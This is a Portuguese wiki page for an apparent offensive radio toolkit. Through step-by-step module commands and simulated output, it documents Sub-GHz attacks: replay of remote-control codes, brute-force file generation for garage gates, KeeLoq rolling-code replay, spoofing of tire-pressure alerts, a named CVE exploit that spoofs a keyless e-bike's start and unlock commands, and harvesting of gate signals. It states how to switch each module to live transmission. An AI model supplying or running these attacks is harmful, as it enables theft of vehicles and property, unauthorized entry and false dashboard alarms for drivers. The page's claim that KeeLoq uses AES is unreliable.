Skip to content

Ataques SubGHz

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: SubGHz-Attacks

Suite de Ataques Sub-GHz (300-928 MHz)

Aviso Legal: Transmitir em faixas Sub-GHz sem autorização é ilegal na maioria das jurisdições. Utilize somente em equipamentos próprios, dentro de gaiolas de Faraday, ou em avaliações de segurança devidamente autorizadas. Spoofing de portões e garagens sem consentimento explícito do proprietário constitui crime.


Pré-requisitos

Componente Função Frequência Uso
HackRF One TX+RX 1 MHz-6 GHz 1 MHz - 6 GHz Replay, força bruta, interferência
RTL-SDR Apenas RX (passivo) 25 MHz - 1,7 GHz Decodificação TPMS, análise de sinal
CC1101 + ESP32 TX+RX 300-928 MHz (econômico) 300 - 928 MHz Ataques de código estático
Flipper Zero / Bruce Sub-GHz TX+RX 300 - 928 MHz Replay de arquivos .sub

Protocolos Suportados

Protocolo Bits Frequência Segurança Módulo
EV1527 24 433 MHz Nenhuma subghz/static_code_replay
Princeton / PT2262 24 315/433 MHz Nenhuma subghz/static_code_replay
CAME 12 303-868 MHz Nenhuma subghz/debruijn_bruteforce
NICE Flo 12 433/868 MHz Nenhuma subghz/debruijn_bruteforce
Holtek HT12X 12 315/433/868/915 MHz Nenhuma subghz/debruijn_bruteforce
Chamberlain 9 300/315/390 MHz Nenhuma subghz/debruijn_bruteforce
KeeLoq 64 433/868 MHz Código rotativo AES subghz/keeloq_*
TPMS Toyota variável 315 MHz Somente CRC subghz/tpms/tpms_decoder
TPMS Renault variável 433 MHz Somente CRC subghz/tpms/tpms_decoder
EV1527 veicular 24 433 MHz Nenhuma subghz/ev1527_vehicle_cve_2025_70994

Referência de Módulos

Módulo Descrição
static_code_replay Replay de código estático EV1527/Princeton/CAME/NICE/Holtek/Chamberlain
debruijn_bruteforce Força bruta via sequência DeBruijn para protocolos de portão de 12 bits
keeloq_decoder Decodificador e analisador de frame KeeLoq com código rotativo
keeloq_replay Replay de código rotativo KeeLoq dentro da janela de contador
ev1527_vehicle_cve_2025_70994 CVE-2025-70994 - Bypass de entrada sem chave EV1527 veicular
subghz_jammer Interferer Sub-GHz seletivo (somente para testes autorizados)
br_gate_scanner Scanner e gravador de protocolos de portão/garagem brasileiros
tpms/tpms_decoder Decodificador passivo de sensor TPMS (RTL-SDR)
tpms/tpms_spoof Injeção de alerta de pressão TPMS falsificada
tools/ook_analyzer Analisador de sinal OOK: preâmbulo, temporização de bit, identificação de protocolo

Replay de Código Estático

Para protocolos sem proteção de código rotativo (EV1527, Princeton, etc.), um sinal capturado pode ser transmitido indefinidamente.

wxf > use generic/subghz/static_code_replay
wxf (StaticCodeReplay) > show options

Options:
  PROTOCOL   EV1527      Protocolo (EV1527, Princeton, CAME, NICE, Holtek, Chamberlain)
  CODE       0x000000    Código de 24 bits a transmitir (0x = hex, decimal aceito)
  FREQUENCY  433.92      Frequência em MHz
  INTERFACE  hackrf      Interface de hardware (hackrf, cc1101, simulate)
  REPEATS    3           Número de transmissões
  SIMULATE   true        Simular sem transmitir

wxf (StaticCodeReplay) > set PROTOCOL EV1527
wxf (StaticCodeReplay) > set CODE 0xA3F21B
wxf (StaticCodeReplay) > set FREQUENCY 433.92
wxf (StaticCodeReplay) > set SIMULATE true
wxf (StaticCodeReplay) > run

[SIMULATE] EV1527 code: 0xA3F21B (10739227)
[SIMULATE] Frequency: 433.92 MHz | Bit time: 333 us
[SIMULATE] Preamble: 32 periods LOW | Data: 24 bits (Manchester-like)
[SIMULATE] OOK pulse sequence (24 bits):
[SIMULATE]   101000001010000010100010 (hex: A3F21B)
[SIMULATE] Would transmit 3x via HackRF One at 433.92 MHz
[!] Set SIMULATE=false and INTERFACE=hackrf to transmit live
[!] PREREQ: hackrf_transfer installed + HackRF One connected

Para capturar um sinal primeiro com RTL-SDR e depois decodificá-lo:

wxf > use generic/subghz/tools/ook_analyzer
wxf (OOKAnalyzer) > set INTERFACE rtlsdr
wxf (OOKAnalyzer) > set FREQUENCY 433.92
wxf (OOKAnalyzer) > run

[*] Listening on 433.92 MHz via RTL-SDR...
[*] Signal detected! OOK burst captured.
[+] Protocol guess: EV1527 (24-bit, 333 us/bit)
[+] Preamble: 32x LOW detected
[+] Decoded bits: 101000001010000010100010
[+] Hex code: 0xA3F21B
[+] Saved: /tmp/ook_capture_433920000.sub

Força Bruta DeBruijn (Portões de Garagem)

Para protocolos de código fixo de 12 bits (CAME, NICE, Holtek), uma sequência DeBruijn testa todos os 4.096 códigos possíveis de forma eficiente. A sequência é projetada de modo que cada janela de n bits possível apareça exatamente uma vez, minimizando o tempo de transmissão.

wxf > use generic/subghz/debruijn_bruteforce
wxf (DeBruijn) > show options

Options:
  PROTOCOL    CAME        Protocolo (CAME, NICE, Holtek, Chamberlain)
  FREQUENCY   433.92      Frequência em MHz
  OUTPUT_SUB  /tmp/out.sub  Caminho do arquivo .sub de saída (compatível com Flipper/Bruce)
  SIMULATE    true        Visualizar sem gerar arquivo

wxf (DeBruijn) > set PROTOCOL CAME
wxf (DeBruijn) > set FREQUENCY 433.92
wxf (DeBruijn) > set OUTPUT_SUB /tmp/came_brute.sub
wxf (DeBruijn) > run

[*] Generating DeBruijn sequence for CAME 12-bit at 433.92 MHz
[*] Protocol timing: TE=320us | Footer: -11520us
[*] Total unique codes: 4,096
[*] Estimated TX time at 320us/bit x 12 bits x 3 repeats: ~4.8 minutes
[+] Generated: /tmp/came_brute.sub (Flipper Zero / Bruce compatible)
[*] File contains 4,096 RAW_Data entries

[*] To use on Flipper Zero:
    Sub-GHz -> Saved -> came_brute.sub -> Send
[*] To use on Bruce firmware (M5Stack/Lilygo):
    RF -> Custom SubGhz -> Load File

[*] Supported protocols and estimated times:
    CAME 303/307/315/330/433/868 MHz  - ~4.8 min
    NICE 433/868 MHz                  - ~10.5 min
    Holtek 315/433/868/915 MHz        - ~6.5 min
    Chamberlain 300/315/390 MHz       - ~2.1 min

Análise de Código Rotativo KeeLoq

O KeeLoq é um sistema de código rotativo de 64 bits utilizado por muitos fabricantes automotivos e de portões de garagem. O frame de 64 bits é dividido em uma parte FIX (número de série estático e código de botão) e uma parte HOP (contador criptografado com AES). Ataques de replay só têm êxito dentro da janela de aceitação do contador (tipicamente +/-256 a partir do último código aceito).

Passo 1: Decodificar um frame KeeLoq capturado

wxf > use generic/subghz/keeloq_decoder
wxf (KeeLoqDecoder) > set CAPTURE_FILE /tmp/captured_signal.sub
wxf (KeeLoqDecoder) > run

[*] Analyzing: /tmp/captured_signal.sub
[+] Protocol: KeeLoq (64-bit rolling code)
[+] FIX portion (static):
    Serial number:  0xA1B2C3D4
    Button code:    0x3 (button 3 / unlock)
    Status bits:    0b0001
[+] HOP portion (encrypted): 0xE5F60789
[!] Decryption requires manufacturer key
[*] Estimated manufacturer: CAME Space (based on FIX structure)
[*] Counter window: typical +/-256 from last accepted code

Passo 2: Replay dentro da janela de contador

wxf > use generic/subghz/keeloq_replay
wxf (KeeLoqReplay) > set CAPTURE_FILE /tmp/captured_signal.sub
wxf (KeeLoqReplay) > set SIMULATE true
wxf (KeeLoqReplay) > run

[SIMULATE] Would retransmit captured KeeLoq frame
[SIMULATE] FIX: 0xA1B2C3D4 | HOP: 0xE5F60789 | Counter: ~EC04
[SIMULATE] Window: EC04 to EC103 (+/-256)
[!] Replay succeeds only if counter is within window
[!] Set SIMULATE=false + INTERFACE=hackrf to transmit
[!] PREREQ: HackRF One + 433 MHz antenna + hackrf_transfer

Spoofing de Pressão TPMS

Os sensores TPMS (Tire Pressure Monitoring System) transmitem dados de pressão, temperatura e bateria em 315/433 MHz com modulação FSK ou OOK. A maioria dos sensores usa apenas CRC para integridade - sem autenticação. Um RTL-SDR passivo pode decodificar as transmissões; um HackRF pode injetar alertas falsificados.

Decodificação passiva (RTL-SDR)

wxf > use generic/subghz/tpms/tpms_decoder
wxf (TPMSDecoder) > set INTERFACE rtlsdr
wxf (TPMSDecoder) > set FREQUENCY 433.92
wxf (TPMSDecoder) > run

[*] Passive TPMS scan on 433.92 MHz (RTL-SDR)
[*] Waiting for sensor broadcasts...
[+] Sensor detected: ID=0xABCDE123 | Pressure=2.3 bar | Temp=22C | Battery=OK
[+] Sensor detected: ID=0xABCDE124 | Pressure=2.4 bar | Temp=22C | Battery=OK
[+] Sensor detected: ID=0xABCDE125 | Pressure=2.3 bar | Temp=21C | Battery=OK
[+] Sensor detected: ID=0xABCDE126 | Pressure=2.4 bar | Temp=21C | Battery=OK
^C
[*] Scan stopped. 4 sensors logged (likely 4-wheel vehicle).
[+] Saved to /tmp/tpms_scan_20260608.json

Spoofing de pressão (HackRF)

wxf > use generic/subghz/tpms/tpms_spoof
wxf (TPMSSpoof) > set TARGET_ID 0xABCDE123
wxf (TPMSSpoof) > set PRESSURE 0.5
wxf (TPMSSpoof) > set SIMULATE true
wxf (TPMSSpoof) > run

[SIMULATE] TPMS frame for sensor ID 0xABCDE123
[SIMULATE] Spoofed pressure: 0.5 bar (triggers LOW TIRE WARNING on dash)
[SIMULATE] Frequency: 433.92 MHz | Encoding: FSK diff Manchester
[SIMULATE] CRC: recalculated for spoofed payload
[SIMULATE] Would transmit continuously until Ctrl+C
[!] Set SIMULATE=false + INTERFACE=hackrf to inject
[!] PREREQ: HackRF One + 433 MHz antenna
[!] NOTE: Vehicle must be within ~10m for reliable injection

CVE-2025-70994 - Bypass de Entrada Sem Chave em Bicicleta Elétrica

Este CVE afeta a bicicleta elétrica Yadea T5 (2024+) e veículos similares que utilizam entrada sem chave remota baseada em EV1527 estático. O veículo usa um endereço estático de 20 bits no protocolo EV1527. Qualquer sinal capturado (inclusive o toque de campainha) expõe o ID do veículo, permitindo sintetizar um comando de partida.

wxf > use generic/subghz/ev1527_vehicle_cve_2025_70994
wxf (EV1527Vehicle) > show info

  Name:     EV1527 Vehicle Keyless Entry Bypass
  CVE:      CVE-2025-70994
  CVSS:     7.3 (High)
  Target:   Yadea T5 Electric Bicycle (2024+), similar EV1527-based vehicles
  Auth:     None required
  Status:   Coordinated disclosure - CISA/CERT/CC - April 2026

  Description:
    The Yadea T5 uses a static 20-bit vehicle address in EV1527 protocol.
    Any captured signal (including bell ring) exposes the vehicle ID.
    Attacker synthesizes Start command: vehicle_id + 0x2 (start byte).

wxf (EV1527Vehicle) > set TARGET_ID 0xABCDE
wxf (EV1527Vehicle) > set COMMAND start
wxf (EV1527Vehicle) > set SIMULATE true
wxf (EV1527Vehicle) > run

[*] CVE-2025-70994: EV1527 Vehicle Start Spoof
[*] Vehicle ID (20 bits): 0xABCDE
[*] Command code:          0x2 (Start/Ignition)
[*] Full 24-bit frame:     0xABCDE2

[SIMULATE] OOK frame to transmit:
[SIMULATE]   Preamble: LOW 31x TE (333us each) = 10.3ms
[SIMULATE]   Data (24 bits): 10101011 11001101 11100010
[SIMULATE]   Carrier: 433.92 MHz ASK/OOK
[SIMULATE]   Repeats: 3x (standard EV1527 retransmit)

[!] Set SIMULATE=false to transmit (requires HackRF or CC1101)
[!] Affected: All Yadea T5 (2024+) with firmware < patch
[*] Disclosure: Coordinated with CISA and CERT/CC, April 2026

Comandos suportados para set COMMAND:

Comando Código Efeito
start 0x2 Iniciar ignição / habilitar motor
stop 0x1 Parar motor
lock 0x3 Travar veículo
unlock 0x4 Destravar veículo
alarm 0x5 Acionar alarme / buzina

Scanner de Portões Brasileiros

O módulo br_gate_scanner grava passivamente sinais de portões e garagens para protocolos comuns no Brasil (PECCININ, RCG, Garen, JFL, AGL), gerando arquivos .sub compatíveis com Flipper Zero.

wxf > use generic/subghz/br_gate_scanner
wxf (BRGateScanner) > set INTERFACE rtlsdr
wxf (BRGateScanner) > set SCAN_BANDS all
wxf (BRGateScanner) > set DURATION 60
wxf (BRGateScanner) > run

[*] Scanning Brazilian gate/garage protocols for 60s
[*] Bands: 433.92, 868.30, 315.00 MHz
[*] Listening...
[+] Signal at 433.92 MHz: EV1527-like (24-bit), code=0xF1E2D3
    Brand guess: PECCININ PPA (EV1527 compatible)
    Saved: /tmp/signal_433920000_F1E2D3.sub
[+] Signal at 433.92 MHz: NICE Flo (12-bit), code=0xA3B
    Saved: /tmp/signal_nice_A3B.sub
[*] Scan complete. 2 signals captured.

Analisador de Sinal OOK

wxf > use generic/subghz/tools/ook_analyzer
wxf (OOKAnalyzer) > set CAPTURE_FILE /tmp/mystery_signal.sub
wxf (OOKAnalyzer) > run

[*] Analyzing: /tmp/mystery_signal.sub
[+] Modulation: OOK (On-Off Keying)
[+] Carrier: 433.92 MHz
[+] Bit time (TE): 330-336 us -> 333 us nominal
[+] Preamble: 32 periods LOW (10.6ms)
[+] Data length: 24 bits
[+] Bit encoding: width modulation (short=0, long=1)
[+] Protocol match: EV1527 (confidence: 95%)
[+] Decoded code: 0xA3F21B
[+] Repeat count: 3
[+] Gap between repeats: 10ms

[*] Compatible modules:
    use generic/subghz/static_code_replay
    set CODE 0xA3F21B
    set FREQUENCY 433.92
    set PROTOCOL EV1527

Notas de Configuração de Hardware

HackRF One

# Instalar
sudo apt install hackrf

# Testar conexão
hackrf_info
# HackRF One found (firmware: 2023.01.1)

# Necessário para módulos TX
export HACKRF_INSTALLED=1

RTL-SDR

# Instalar
sudo apt install rtl-sdr python3-rtlsdr

# Testar
rtl_test -t
# Found 1 device(s): Generic RTL2832U OEM

# Necessário para módulos passivos RX (TPMS, analisador OOK)

CC1101 + ESP32

Conecte o CC1101 ao ESP32 via SPI. Grave o firmware WXF personalizado ou use generic/subghz/static_code_replay com INTERFACE=cc1101. Consulte a documentação para o esquema de ligação.


Páginas relacionadas: Segurança de Drones | Segurança Marítima | WIDS


Autor: André Henrique (@mrhenrike) | União Geek

WirelessXPL-Forge v1.8.0

Home-pt-BR | Home


Português (pt-BR)

Primeiros Passos

Ataques Wireless

Drones e UAV

Protocolos Especializados

Ferramentas de Pentest

Hardware

Clone this wiki locally